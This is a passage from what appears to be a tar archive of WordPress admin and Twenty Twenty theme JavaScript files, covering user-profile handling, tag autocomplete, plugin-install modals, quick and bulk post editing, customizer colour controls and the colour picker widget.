).val( '' ).on( 'input' + ' pwupdate', check_pass_strength ); $('#pass-strength-result').show(); $('.color-palette').on( 'click', function() { $(this).siblings('input[name="admin_color"]').prop('checked', true); }); if ( select.length ) { $('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() { var dub = [], inputs = { display_nickname : $('#nickname').val() || '', display_username : $('#user_login').val() || '', display_firstname : $('#first_name').val() || '', display_lastname : $('#last_name').val() || '' }; if ( inputs.display_firstname && inputs.display_lastname ) { inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname; inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname; } $.each( $('option', select), function( i, el ){ dub.push( el.value ); }); $.each(inputs, function( id, value ) { if ( ! value ) { return; } var val = value.replace(/<\/?[a-z][^>]*>/gi, ''); if ( inputs[id].length && $.inArray( val, dub ) === -1 ) { dub.push(val); $('<option />', { 'text': val }).appendTo( select ); } }); }); /** * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile. */ select.on( 'change', function() { if ( user_id !== current_user_id ) { return; } var display_name = this.value.trim() || current_name; greeting.text( display_name ); } ); } $colorpicker = $( '#color-picker' ); $stylesheet = $( '#colors-css' ); user_id = $( 'input#user_id' ).val(); current_user_id = $( 'input[name="checkuser_id"]' ).val(); $colorpicker.on( 'click.colorpicker', '.color-option', function() { var colors, $this = $(this); if ( $this.hasClass( 'selected' ) ) { return; } $this.siblings( '.selected' ).removeClass( 'selected' ); $this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true ); // Set color scheme. if ( user_id === current_user_id ) { // Load the colors stylesheet. // The default color scheme won't have one, so we'll need to create an element. if ( 0 === $stylesheet.length ) { $stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' ); } $stylesheet.attr( 'href', $this.children( '.css_url' ).val() ); // Repaint icons. if ( typeof wp !== 'undefined' && wp.svgPainter ) { try { colors = JSON.parse( $this.children( '.icon_colors' ).val() ); } catch ( error ) {} if ( colors ) { wp.svgPainter.setColors( colors ); wp.svgPainter.paint(); } } // Update user option. $.post( ajaxurl, { action: 'save-user-color-scheme', color_scheme: $this.children( 'input[name="admin_color"]' ).val(), nonce: $('#color-nonce').val() }).done( function( response ) { if ( response.success ) { $( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme ); } }); } }); bindPasswordForm(); bindPasswordResetLink(); $submitButtons.on( 'click', function() { isSubmitting = true; }); $form = $( '#your-profile, #createuser' ); originalFormContent = $form.serialize(); }); $( '#destroy-sessions' ).on( 'click', function( e ) { var $this = $(this); wp.ajax.post( 'destroy-sessions', { nonce: $( '#_wpnonce' ).val(), user_id: $( '#user_id' ).val() }).done( function( response ) { $this.prop( 'disabled', true ); $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-success inline" role="alert"><p>' + response.message + '</p></div>' ); }).fail( function( response ) { $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-error inline" role="alert"><p>' + response.message + '</p></div>' ); }); e.preventDefault(); }); window.generatePassword = generatePassword; // Warn the user if password was generated but not saved. $( window ).on( 'beforeunload', function () { if ( true === updateLock ) { return __( 'Your new password has not been saved.' ); } if ( originalFormContent !== $form.serialize() && ! isSubmitting ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } }); /* * We need to generate a password as soon as the Reset Password page is loaded, * to avoid double clicking the button to retrieve the first generated password. * See ticket #39638. */ $( function() { if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); } }); })(jQuery); tags-suggest.min.js 0000644 00000004335 15174417325 0010317 0 ustar 00 /*! This file is auto-generated */ !function(s){var u=0,n=wp.i18n._x(",","tag delimiter")||",",t=wp.i18n.__,d=wp.i18n._n,l=wp.i18n.sprintf;function p(e){return e.split(new RegExp(n+"\\s*"))}s.fn.wpTagsSuggest=function(e){var i,o,a,r=s(this);return r.length&&(a=(e=e||{}).taxonomy||r.attr("data-wp-taxonomy")||"post_tag",delete e.taxonomy,e=s.extend({source:function(e,n){var t;o===e.term?n(i):(t=p(e.term).pop(),s.get(window.ajaxurl,{action:"ajax-tag-search",tax:a,q:t,number:20}).always(function(){r.removeClass("ui-autocomplete-loading")}).done(function(e){var t,o=[];if(e){for(t in e=e.split("\n")){var a=++u;o.push({id:a,name:e[t]})}n(i=o)}else n(o)}),o=e.term)},focus:function(e,t){r.attr("aria-activedescendant","wp-tags-autocomplete-"+t.item.id),e.preventDefault()},select:function(e,t){var o=p(r.val());return o.pop(),o.push(t.item.name,""),r.val(o.join(n+" ")),s.ui.keyCode.TAB===e.keyCode?(window.wp.a11y.speak(wp.i18n.__("Term selected."),"assertive"),e.preventDefault()):s.ui.keyCode.ENTER===e.keyCode&&(window.tagBox&&(window.tagBox.userAction="add",window.tagBox.flushTags(s(this).closest(".tagsdiv"))),e.preventDefault(),e.stopPropagation()),!1},open:function(){r.attr("aria-expanded","true")},close:function(){r.attr("aria-expanded","false")},minLength:2,position:{my:"left top+2",at:"left bottom",collision:"none"},messages:{noResults:t("No results found."),results:function(e){return l(d("%d result found. Use up and down arrow keys to navigate.","%d results found. Use up and down arrow keys to navigate.",e),e)}}},e),r.on("keydown",function(){r.removeAttr("aria-activedescendant")}),r.autocomplete(e),r.autocomplete("instance"))&&(r.autocomplete("instance")._renderItem=function(e,t){return s('<li role="option" id="wp-tags-autocomplete-'+t.id+'">').text(t.name).appendTo(e)},r.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":r.autocomplete("widget").attr("id")}).on("focus",function(){p(r.val()).pop()&&r.autocomplete("search")}),r.autocomplete("widget").addClass("wp-tags-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){s(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),this}}(jQuery); plugin-install.min.js 0000644 00000004543 15174417325 0010645 0 ustar 00 /*! This file is auto-generated */ jQuery(function(e){var o,i,n,a,l,r=e(),s=e(".upload-view-toggle"),t=e(".wrap"),d=e(document.body);function c(){var t;n=e(":tabbable",i),a=o.find("#TB_closeWindowButton"),l=n.last(),(t=a.add(l)).off("keydown.wp-plugin-details"),t.on("keydown.wp-plugin-details",function(t){9===(t=t).which&&(l[0]!==t.target||t.shiftKey?a[0]===t.target&&t.shiftKey&&(t.preventDefault(),l.trigger("focus")):(t.preventDefault(),a.trigger("focus")))})}window.tb_position=function(){var t=e(window).width(),i=e(window).height()-(792<t?60:20),n=792<t?772:t-20;return(o=e("#TB_window")).length&&(o.width(n).height(i),e("#TB_iframeContent").width(n).height(i),o.css({"margin-left":"-"+parseInt(n/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&o.css({top:"30px","margin-top":"0"}),e("a.thickbox").each(function(){var t=e(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),e(this).attr("href",t+"&width="+n+"&height="+i))})},e(window).on("resize",function(){tb_position()}),d.on("thickbox:iframe:loaded",o,function(){var t;o.hasClass("plugin-details-modal")&&(t=o.find("#TB_iframeContent"),i=t.contents().find("body"),c(),a.trigger("focus"),e("#plugin-information-tabs a",i).on("click",function(){c()}),i.on("keydown",function(t){27===t.which&&tb_remove()}))}).on("thickbox:removed",function(){r.trigger("focus")}),e(".wrap").on("click",".thickbox.open-plugin-details-modal",function(t){var i=e(this).data("title")?wp.i18n.sprintf(wp.i18n.__("Plugin: %s"),e(this).data("title")):wp.i18n.__("Plugin details");t.preventDefault(),t.stopPropagation(),r=e(this),tb_click.call(this),o.attr({role:"dialog","aria-label":wp.i18n.__("Plugin details")}).addClass("plugin-details-modal"),o.find("#TB_iframeContent").attr("title",i)}),e("#plugin-information-tabs a").on("click",function(t){var i=e(this).attr("name");t.preventDefault(),e("#plugin-information-tabs a.current").removeClass("current"),e(this).addClass("current"),"description"!==i&&e(window).width()<772?e("#plugin-information-content").find(".fyi").hide():e("#plugin-information-content").find(".fyi").show(),e("#section-holder div.section").hide(),e("#section-"+i).show()}),t.hasClass("plugin-install-tab-upload")||s.attr({role:"button","aria-expanded":"false"}).on("click",function(t){t.preventDefault(),d.toggleClass("show-upload-view"),s.attr("aria-expanded",d.hasClass("show-upload-view"))})}); inline-edit-post.js 0000644 00000050252 15174417325 0010303 0 ustar 00 /** * This file contains the functions needed for the inline editing of posts. * * @since 2.7.0 * @output wp-admin/js/inline-edit-post.js */ /* global ajaxurl, typenow, inlineEditPost */ window.wp = window.wp || {}; /** * Manages the quick edit and bulk edit windows for editing posts or pages. * * @namespace inlineEditPost * * @since 2.7.0 * * @type {Object} * * @property {string} type The type of inline editor. * @property {string} what The prefix before the post ID. * */ ( function( $, wp ) { window.inlineEditPost = { /** * Initializes the inline and bulk post editor. * * Binds event handlers to the Escape key to close the inline editor * and to the save and close buttons. Changes DOM to be ready for inline * editing. Adds event handler to bulk edit. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {void} */ init : function(){ var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit'); t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post'; // Post ID prefix. t.what = '#post-'; /** * Binds the Escape key to revert the changes and close the quick editor. * * @return {boolean} The result of revert. */ qeRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Binds the Escape key to revert the changes and close the bulk editor. * * @return {boolean} The result of revert. */ bulkRow.on( 'keyup', function(e){ // Revert changes if Escape key is pressed. if ( e.which === 27 ) { return inlineEditPost.revert(); } }); /** * Reverts changes and close the quick editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', qeRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Saves changes in the quick editor if the save(named: update) button is clicked. * * @return {boolean} The result of save. */ $( '.save', qeRow ).on( 'click', function() { return inlineEditPost.save(this); }); /** * If Enter is pressed, and the target is not the cancel button, save the post. * * @return {boolean} The result of save. */ $('td', qeRow).on( 'keydown', function(e){ if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) { return inlineEditPost.save(this); } }); /** * Reverts changes and close the bulk editor if the cancel button is clicked. * * @return {boolean} The result of revert. */ $( '.cancel', bulkRow ).on( 'click', function() { return inlineEditPost.revert(); }); /** * Disables the password input field when the private post checkbox is checked. */ $('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){ var pw = $('input.inline-edit-password-input'); if ( $(this).prop('checked') ) { pw.val('').prop('disabled', true); } else { pw.prop('disabled', false); } }); /** * Binds click event to the .editinline button which opens the quick editor. */ $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditPost.edit( this ); }); // Clone quick edit categories for the bulk editor. var beCategories = $( '#inline-edit fieldset.inline-edit-categories' ).clone(); // Make "id" attributes globally unique. beCategories.find( '*[id]' ).each( function() { this.id = 'bulk-edit-' + this.id; }); $('#bulk-edit').find('fieldset:first').after( beCategories ).siblings( 'fieldset:last' ).prepend( $( '#inline-edit .inline-edit-tags-wrap' ).clone() ); $('select[name="_status"] option[value="future"]', bulkRow).remove(); /** * Adds onclick events to the apply buttons. */ $('#doaction').on( 'click', function(e){ var n, $itemsSelected = $( '#posts-filter .check-column input[type="checkbox"]:checked' ); if ( $itemsSelected.length < 1 ) { return; } t.whichBulkButtonId = $( this ).attr( 'id' ); n = t.whichBulkButtonId.substr( 2 ); if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) { e.preventDefault(); t.setBulk(); } else if ( $('form#posts-filter tr.inline-editor').length > 0 ) { t.revert(); } }); }, /** * Toggles the quick edit window, hiding it when it's active and showing it when * inactive. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} el Element within a post table row. */ toggle : function(el){ var t = this; $( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el ); }, /** * Creates the bulk editor row to edit multiple posts at once. * * @since 2.7.0 * * @memberof inlineEditPost */ setBulk : function(){ var te = '', type = this.type, c = true; var checkedPosts = $( 'tbody th.check-column input[type="checkbox"]:checked' ); var categories = {}; this.revert(); $( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Insert the editor at the top of the table with an empty row above to maintain zebra striping. $('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>'); $('#bulk-edit').addClass('inline-editor').show(); /** * Create a HTML div with the title and a link(delete-icon) for each selected * post. * * Get the selected posts based on the checked checkboxes in the post table. */ $( 'tbody th.check-column input[type="checkbox"]' ).each( function() { // If the checkbox for a post is selected, add the post to the edit list. if ( $(this).prop('checked') ) { c = false; var id = $( this ).val(), theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ), buttonVisuallyHiddenText = wp.i18n.sprintf( /* translators: %s: Post title. */ wp.i18n.__( 'Remove “%s” from Bulk Edit' ), theTitle ); te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>'; } }); // If no checkboxes where checked, just hide the quick/bulk edit rows. if ( c ) { return this.revert(); } // Populate the list of items to bulk edit. $( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' ); // Gather up some statistics on which of these checked posts are in which categories. checkedPosts.each( function() { var id = $( this ).val(); var checked = $( '#category_' + id ).text().split( ',' ); checked.map( function( cid ) { categories[ cid ] || ( categories[ cid ] = 0 ); // Just record that this category is checked. categories[ cid ]++; } ); } ); // Compute initial states. $( '.inline-edit-categories input[name="post_category[]"]' ).each( function() { if ( categories[ $( this ).val() ] == checkedPosts.length ) { // If the number of checked categories matches the number of selected posts, then all posts are in this category. $( this ).prop( 'checked', true ); } else if ( categories[ $( this ).val() ] > 0 ) { // If the number is less than the number of selected posts, then it's indeterminate. $( this ).prop( 'indeterminate', true ); if ( ! $( this ).parent().find( 'input[name="indeterminate_post_category[]"]' ).length ) { // Get the term label text. var label = $( this ).parent().text(); // Set indeterminate states for the backend. Add accessible text for indeterminate inputs. $( this ).after( '<input type="hidden" name="indeterminate_post_category[]" value="' + $( this ).val() + '">' ).attr( 'aria-label', label.trim() + ': ' + wp.i18n.__( 'Some selected posts have this category' ) ); } } } ); $( '.inline-edit-categories input[name="post_category[]"]:indeterminate' ).on( 'change', function() { // Remove accessible label text. Remove the indeterminate flags as there was a specific state change. $( this ).removeAttr( 'aria-label' ).parent().find( 'input[name="indeterminate_post_category[]"]' ).remove(); } ); $( '.inline-edit-save button' ).on( 'click', function() { $( '.inline-edit-categories input[name="post_category[]"]' ).prop( 'indeterminate', false ); } ); /** * Binds on click events to handle the list of items to bulk edit. * * @listens click */ $( '#bulk-titles .ntdelbutton' ).click( function() { var $this = $( this ), id = $this.attr( 'id' ).substr( 1 ), $prev = $this.parent().prev().children( '.ntdelbutton' ), $next = $this.parent().next().children( '.ntdelbutton' ); $( 'input#cb-select-all-1, input#cb-select-all-2' ).prop( 'checked', false ); $( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false ); $( '#_' + id ).parent().remove(); wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' ); // Move focus to a proper place when items are removed. if ( $next.length ) { $next.focus(); } else if ( $prev.length ) { $prev.focus(); } else { $( '#bulk-titles-list' ).remove(); inlineEditPost.revert(); wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) ); } }); // Enable auto-complete for tags when editing posts. if ( 'post' === type ) { $( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) { /* * While Quick Edit clones the form each time, Bulk Edit always re-uses * the same form. Let's check if an autocomplete instance already exists. */ if ( $( element ).autocomplete( 'instance' ) ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( element ).wpTagsSuggest(); } ); } // Set initial focus on the Bulk Edit region. $( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus(); // Scrolls to the top of the table where the editor is rendered. $('html, body').animate( { scrollTop: 0 }, 'fast' ); }, /** * Creates a quick edit window for the post that has been clicked. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {number|Object} id The ID of the clicked post or an element within a post * table row. * @return {boolean} Always returns false at the end of execution. */ edit : function(id) { var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw; t.revert(); if ( typeof(id) === 'object' ) { id = t.getId(id); } fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template']; if ( t.type === 'page' ) { fields.push('post_parent'); } // Add the new edit row with an extra blank row underneath to maintain zebra striping. editRow = $('#inline-edit').clone(true); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length ); // Remove the ID from the copied row and let the `for` attribute reference the hidden ID. $( 'td', editRow ).find('#quick-edit-legend').removeAttr('id'); $( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id'); $(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>'); // Populate fields in the quick edit window. rowData = $('#inline_'+id); if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) { // The post author no longer has edit capabilities, so we need to add them to the list of authors. $(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#post-' + id + ' .author').text() + '</option>'); } if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) { $('label.inline-edit-author', editRow).hide(); } for ( f = 0; f < fields.length; f++ ) { val = $('.'+fields[f], rowData); /** * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text. * * @return {string} Alternate text from the image. */ val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="' + fields[f] + '"]', editRow).val( val ); } if ( $( '.comment_status', rowData ).text() === 'open' ) { $( 'input[name="comment_status"]', editRow ).prop( 'checked', true ); } if ( $( '.ping_status', rowData ).text() === 'open' ) { $( 'input[name="ping_status"]', editRow ).prop( 'checked', true ); } if ( $( '.sticky', rowData ).text() === 'sticky' ) { $( 'input[name="sticky"]', editRow ).prop( 'checked', true ); } /** * Creates the select boxes for the categories. */ $('.post_category', rowData).each(function(){ var taxname, term_ids = $(this).text(); if ( term_ids ) { taxname = $(this).attr('id').replace('_'+id, ''); $('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(',')); } }); /** * Gets all the taxonomies for live auto-fill suggestions when typing the name * of a tag. */ $('.tags_input', rowData).each(function(){ var terms = $(this), taxname = $(this).attr('id').replace('_' + id, ''), textarea = $('textarea.tax_input_' + taxname, editRow), comma = wp.i18n._x( ',', 'tag delimiter' ).trim(); // Ensure the textarea exists. if ( ! textarea.length ) { return; } terms.find( 'img' ).replaceWith( function() { return this.alt; } ); terms = terms.text(); if ( terms ) { if ( ',' !== comma ) { terms = terms.replace(/,/g, comma); } textarea.val(terms); } textarea.wpTagsSuggest(); }); // Handle the post status. var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val(); post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val(); var post_date = new Date( post_date_string ); status = $('._status', rowData).text(); if ( 'future' !== status && Date.now() > post_date ) { $('select[name="_status"] option[value="future"]', editRow).remove(); } else { $('select[name="_status"] option[value="publish"]', editRow).remove(); } pw = $( '.inline-edit-password-input' ).prop( 'disabled', false ); if ( 'private' === status ) { $('input[name="keep_private"]', editRow).prop('checked', true); pw.val( '' ).prop( 'disabled', true ); } // Remove the current page and children from the parent dropdown. pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow); if ( pageOpt.length > 0 ) { pageLevel = pageOpt[0].className.split('-')[1]; nextPage = pageOpt; while ( pageLoop ) { nextPage = nextPage.next('option'); if ( nextPage.length === 0 ) { break; } nextLevel = nextPage[0].className.split('-')[1]; if ( nextLevel <= pageLevel ) { pageLoop = false; } else { nextPage.remove(); nextPage = pageOpt; } } pageOpt.remove(); } $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).trigger( 'focus' ); return false; }, /** * Saves the changes made in the quick edit window to the post. * Ajax saving is only for Quick Edit and not for bulk edit. * * @since 2.7.0 * * @param {number} id The ID for the post that has been changed. * @return {boolean} False, so the form does not submit when pressing * Enter on a focused field. */ save : function(id) { var params, fields, page = $('.post_status_page').val() || ''; if ( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save', post_type: typenow, post_ID: id, edit_date: 'true', post_status: page }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Make Ajax request. $.post( ajaxurl, params, function(r) { var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove(); $('#edit-'+id).before(r).remove(); $( inlineEditPost.what + id ).hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. $( this ) is the row being animated. $( this ).find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { r = r.replace( /<.[^<>]*?>/g, '' ); $errorNotice.removeClass( 'hidden' ); $error.html( r ); wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } }, 'html'); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Hides and empties the Quick Edit and/or Bulk Edit windows. * * @since 2.7.0 * * @memberof inlineEditPost * * @return {boolean} Always returns false. */ revert : function(){ var $tableWideFat = $( '.widefat' ), id = $( '.inline-editor', $tableWideFat ).attr( 'id' ); if ( id ) { $( '.spinner', $tableWideFat ).removeClass( 'is-active' ); if ( 'bulk-edit' === id ) { // Hide the bulk editor. $( '#bulk-edit', $tableWideFat ).removeClass( 'inline-editor' ).hide().siblings( '.hidden' ).remove(); $('#bulk-titles').empty(); // Store the empty bulk editor in a hidden element. $('#inlineedit').append( $('#bulk-edit') ); // Move focus back to the Bulk Action button that was activated. $( '#' + inlineEditPost.whichBulkButtonId ).trigger( 'focus' ); } else { // Remove both the inline-editor and its hidden tr siblings. $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the post row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } } return false; }, /** * Gets the ID for a the post that you want to quick edit from the row in the quick * edit table. * * @since 2.7.0 * * @memberof inlineEditPost * * @param {Object} o DOM row object to get the ID for. * @return {string} The post ID extracted from the table row in the object. */ getId : function(o) { var id = $(o).closest('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditPost.init(); } ); // Show/hide locks on posts. $( function() { // Set the heartbeat interval to 10 seconds. if ( typeof wp !== 'undefined' && wp.heartbeat ) { wp.heartbeat.interval( 10 ); } }).on( 'heartbeat-tick.wp-check-locked-posts', function( e, data ) { var locked = data['wp-check-locked-posts'] || {}; $('#the-list tr').each( function(i, el) { var key = el.id, row = $(el), lock_data, avatar; if ( locked.hasOwnProperty( key ) ) { if ( ! row.hasClass('wp-locked') ) { lock_data = locked[key]; row.find('.column-title .locked-text').text( lock_data.text ); row.find('.check-column checkbox').prop('checked', false); if ( lock_data.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-18 photo', width: 18, height: 18, alt: '', src: lock_data.avatar_src, srcset: lock_data.avatar_src_2x ? lock_data.avatar_src_2x + ' 2x' : undefined } ); row.find('.column-title .locked-avatar').empty().append( avatar ); } row.addClass('wp-locked'); } } else if ( row.hasClass('wp-locked') ) { row.removeClass( 'wp-locked' ).find( '.locked-info span' ).empty(); } }); }).on( 'heartbeat-send.wp-check-locked-posts', function( e, data ) { var check = []; $('#the-list tr').each( function(i, el) { if ( el.id ) { check.push( el.id ); } }); if ( check.length ) { data['wp-check-locked-posts'] = check; } }); })( jQuery, window.wp ); customize-controls.js 0000644 00000007362 15174417325 0011006 0 ustar 00 /* global twentyTwentyBgColors, twentyTwentyColor, jQuery, wp, _ */ /** * Customizer enhancements for a better user experience. * * Contains extra logic for our Customizer controls & settings. * * @since Twenty Twenty 1.0 */ ( function() { // Wait until the customizer has finished loading. wp.customize.bind( 'ready', function() { // Add a listener for accent-color changes. wp.customize( 'accent_hue', function( value ) { value.bind( function( to ) { // Update the value for our accessible colors for all areas. Object.keys( twentyTwentyBgColors ).forEach( function( context ) { var backgroundColorValue; if ( twentyTwentyBgColors[ context ].color ) { backgroundColorValue = twentyTwentyBgColors[ context ].color; } else { backgroundColorValue = wp.customize( twentyTwentyBgColors[ context ].setting ).get(); } twentyTwentySetAccessibleColorsValue( context, backgroundColorValue, to ); } ); } ); } ); // Add a listener for background-color changes. Object.keys( twentyTwentyBgColors ).forEach( function( context ) { wp.customize( twentyTwentyBgColors[ context ].setting, function( value ) { value.bind( function( to ) { // Update the value for our accessible colors for this area. twentyTwentySetAccessibleColorsValue( context, to, wp.customize( 'accent_hue' ).get(), to ); } ); } ); } ); // Show or hide retina_logo setting on the first load. twentyTwentySetRetineLogoVisibility( !! wp.customize( 'custom_logo' )() ); // Add a listener for custom_logo changes. wp.customize( 'custom_logo', function( value ) { value.bind( function( to ) { // Show or hide retina_logo setting on changing custom_logo. twentyTwentySetRetineLogoVisibility( !! to ); } ); } ); } ); /** * Updates the value of the "accent_accessible_colors" setting. * * @since Twenty Twenty 1.0 * * @param {string} context The area for which we want to get colors. Can be for example "content", "header" etc. * @param {string} backgroundColor The background color (HEX value). * @param {number} accentHue Numeric representation of the selected hue (0 - 359). * * @return {void} */ function twentyTwentySetAccessibleColorsValue( context, backgroundColor, accentHue ) { var value, colors; // Get the current value for our accessible colors, and make sure it's an object. value = wp.customize( 'accent_accessible_colors' ).get(); value = ( _.isObject( value ) && ! _.isArray( value ) ) ? value : {}; // Get accessible colors for the defined background-color and hue. colors = twentyTwentyColor( backgroundColor, accentHue ); // Confidence check. if ( colors.getAccentColor() && 'function' === typeof colors.getAccentColor().toCSS ) { // Update the value for this context. value[ context ] = { text: colors.getTextColor(), accent: colors.getAccentColor().toCSS(), background: backgroundColor }; // Get borders color. value[ context ].borders = colors.bgColorObj .clone() .getReadableContrastingColor( colors.bgColorObj, 1.36 ) .toCSS(); // Get secondary color. value[ context ].secondary = colors.bgColorObj .clone() .getReadableContrastingColor( colors.bgColorObj ) .s( colors.bgColorObj.s() / 2 ) .toCSS(); } // Change the value. wp.customize( 'accent_accessible_colors' ).set( value ); // Small hack to save the option. wp.customize( 'accent_accessible_colors' )._dirty = true; } /** * Shows or hides the "retina_logo" setting based on the given value. * * @since Twenty Twenty 1.3 * * @param {boolean} visible The visible value. * * @return {void} */ function twentyTwentySetRetineLogoVisibility( visible ) { wp.customize.control( 'retina_logo' ).container.toggle( visible ); } }( jQuery ) ); color-picker.js 0000644 00000023050 15174417325 0007504 0 ustar 00 /** * @output wp-admin/js/color-picker.js */ ( function( $, undef ) { var ColorPicker, _before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>', _after = '<div class="wp-picker-holder" />', _wrap = '<div class="wp-picker-container" />', _button = '<input type="button" class="button button-small" />', _wrappingLabel = '<label></label>', _wrappingLabelText = '<span class="screen-reader-text"></span>', __ = wp.i18n.__; /** * Creates a jQuery UI color picker that is used in the theme customizer. * * @class $.widget.wp.wpColorPicker * * @since 3.5.0 */ ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{ options: { defaultColor: false, change: false, clear: false, hide: true, palettes: true, width: 255, mode: 'hsv', type: 'full', slider: 'horizontal' }, /** * Creates a color picker that only allows you to adjust the hue. * * @since 3.5.0 * @access private * * @return {void} */ _createHueOnly: function() { var self = this, el = self.element, color; el.hide(); // Set the saturation to the maximum level. color = 'hsl(' + el.val() + ', 100, 50)'; // Create an instance of the color picker, using the hsl mode. el.iris( { mode: 'hsl', type: 'hue', hide: false, color: color, /** * Handles the onChange event if one has been defined in the options. * * @ignore * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @return {void} */ change: function( event, ui ) { if ( typeof self.options.change === 'function' ) { self.options.change.call( this, event, ui ); } }, width: self.options.width, slider: self.options.slider } ); }, /** * Creates the color picker, sets default values, css classes and wraps it all in HTML. * * @since 3.5.0 * @access private * * @return {void} */ _create: function() { // Return early if Iris support is missing. if ( ! $.support.iris ) { return; } var self = this, el = self.element; // Override default options with options bound to the element. $.extend( self.options, el.data() ); // Create a color picker which only allows adjustments to the hue. if ( self.options.type === 'hue' ) { return self._createHueOnly(); } // Bind the close event. self.close = self.close.bind( self ); self.initialValue = el.val(); // Add a CSS class to the input field. el.addClass( 'wp-color-picker' ); /* * Check if there's already a wrapping label, e.g. in the Customizer. * If there's no label, add a default one to match the Customizer template. */ if ( ! el.parent( 'label' ).length ) { // Wrap the input field in the default label. el.wrap( _wrappingLabel ); // Insert the default label text. self.wrappingLabelText = $( _wrappingLabelText ) .insertBefore( el ) .text( __( 'Color value' ) ); } /* * At this point, either it's the standalone version or the Customizer * one, we have a 